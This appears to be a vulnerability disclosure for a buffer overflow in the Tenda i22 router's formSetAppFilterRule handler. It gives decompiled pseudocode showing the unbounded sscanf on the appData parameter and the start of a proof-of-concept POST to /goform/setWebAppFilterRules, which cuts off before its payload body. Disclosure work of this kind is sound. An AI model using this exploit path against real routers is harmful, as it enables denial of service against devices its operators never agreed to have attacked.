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CVE-vulns / tenda\_i22 / formSetAppFilterRule / formSetAppFilterRule.md

Haizhen Qi(祁海珍) formSetAppFilterRule formWx3AuthorizeSet

History

0 contributors

50 lines (33 sloc) | 5.53 KB

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# Tenda i22 V1.0.0.3(4687) was discovered to contain a buffer overflow via the appData parameter in the formSetAppFilterRule function.

## Description

Tenda Router i22 V1.0.0.3(4687) was discovered to contain a buffer overflow in the `httpd` module when handling `/goform/setWebAppFilterRules` request.

## Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2747.html>

## Affected version

i22

i22 1200M 高密度带机100人吸顶AP [资料下载](#)  
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i22升级软件 V1.0.0.3(4687)

立即下载

关联产品: i22 更新日期: 2017/11/3

- 此固件只适用于i22目前软件版本为V1.0.0.X的机器升级, 不同型号机器不能使用该软件, 升级前请确认版本;
- 下载解压后, 请使用有线连接机器升级, 升级过程中切勿切断电源, 否则会导致机器损坏无法使用!

\* 如果链接错误或其他问题, 请反馈到 [tenda@tenda.com.cn](mailto:tenda@tenda.com.cn)或联系在线客服, 谢谢。

## Vulnerability details

This vulnerability lies in the `/goform/setWebAppFilterRules` page, The details are shown below:

```

1 int __fastcall formSetAppFilterRule(int a1)
2 {
3     int v1; // r0
4     _DWORD v4[276]; // [sp+1Ch] [bp-470h] BYREF
5     char nptr[4]; // [sp+46Ch] [bp-20h] BYREF
6     int v6; // [sp+470h] [bp-1Ch]
7     int v7; // [sp+474h] [bp-18h]
8     int v8; // [sp+478h] [bp-14h]
9     int v9; // [sp+47Ch] [bp-10h]
10
11     v9 = 0;
12     v8 = 0;
13     v7 = 0;
14     v6 = -1;
15     *(_DWORD *)nptr = 0;
16     sub_71B1C(a1, v4);
17     v8 = sub_75564("bhv.appfilter.list");
18     sub_75B4C("bhv.appfilter.list", ";", v8, 0, nptr);
19     v4[275] = atoi(nptr);
20     sub_72088(v4, v8);
21     v6 = 6;
22     if ( sub_7560C("bhv.appfilter.en") == 1 )
23     {
24         doSystemCmd("cfm post netctrl %s?op=%d", "app_filter", v6);
25         v9 = 1;
26     }
27     sub_26460(
28         a1,
29         "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
30     sub_26460(a1, "%d", v9);
31     v1 = sub_26904(a1, 200);
32     return CommitCfm(v1);
33 }

```

In sub\_71B1C function

```

1 char *__fastcall sub_71B1C(int a1, int a2)
2 {
3     const char *appData_value; // r0
4     char s1[4]; // [sp+1Ch] [bp-148h] BYREF
5     int v6; // [sp+20h] [bp-144h]
6     int v7; // [sp+24h] [bp-140h]
7     int v8; // [sp+28h] [bp-13Ch]
8     int v9; // [sp+2Ch] [bp-138h]
9     int v10[5]; // [sp+30h] [bp-134h] BYREF
10    int v11[72]; // [sp+44h] [bp-120h] BYREF
11
12    memset(v11, 0, 276);
13    memset(v10, 0, sizeof(v10));
14    *(_DWORD *)s1 = 0;
15    v6 = 0;
16    v7 = 0;
17    v8 = 0;
18    v9 = 0;
19    appData_value = (const char *)get_value_from_web(a1, (int)"appData", (int)&unk_8353C);
20    sscanf(appData_value, "%[^;];%[^;];%[^;];%[^;]", a2 + 72, v11, v10, s1);
21    printf(
22        "%s %d: sAppIds = %s, sP2PEn = %s, sMailEn = %s, sEn = %s\n",
23        "getNewAppFilterRule",
24        809,
25        (const char *)(a2 + 72),
26        (const char *)v11,
27        (const char *)v10,
28        s1);
29    SetValue("appfilter.P2P.En", v11);
30    SetValue("appfilter.Mail.En", v10);
31    if ( !strcmp((const char *)(a2 + 72), "0") )
32    {
33        memcpy((void *)(&unk_8353C), (const char *)v11, 1u);
34        if ( !strcmp(s1, "true", 0x13u) )
35        {
36            SetValue("bhv.appfilter.en", "1");
37            strcpy((char *)(a2 + 32), "enable");
38            doSystemCmd("cfm post netctrl %s?op=%d", "app_filter", 4);
39        }
40        else
41        {
42            SetValue("bhv.appfilter.en", "0");
43            memcpy((void *)(&unk_8353C), (const char *)v11, 1u);
44            doSystemCmd("cfm post netctrl %s?op=%d", "app_filter", 7);
45        }
46        *(_DWORD *)(&unk_8353C) = 1;
47        return strcmp((char *)a2, "AppFilterRule", 0x1Fu);
48    }
49 }

```

## POC

This POC can result in a Dos.

```

POST /goform/setWebAppFilterRules HTTP/1.1
Host: 192.168.204.133
Content-Length: 4112
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.204.133
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-

```

[illegible]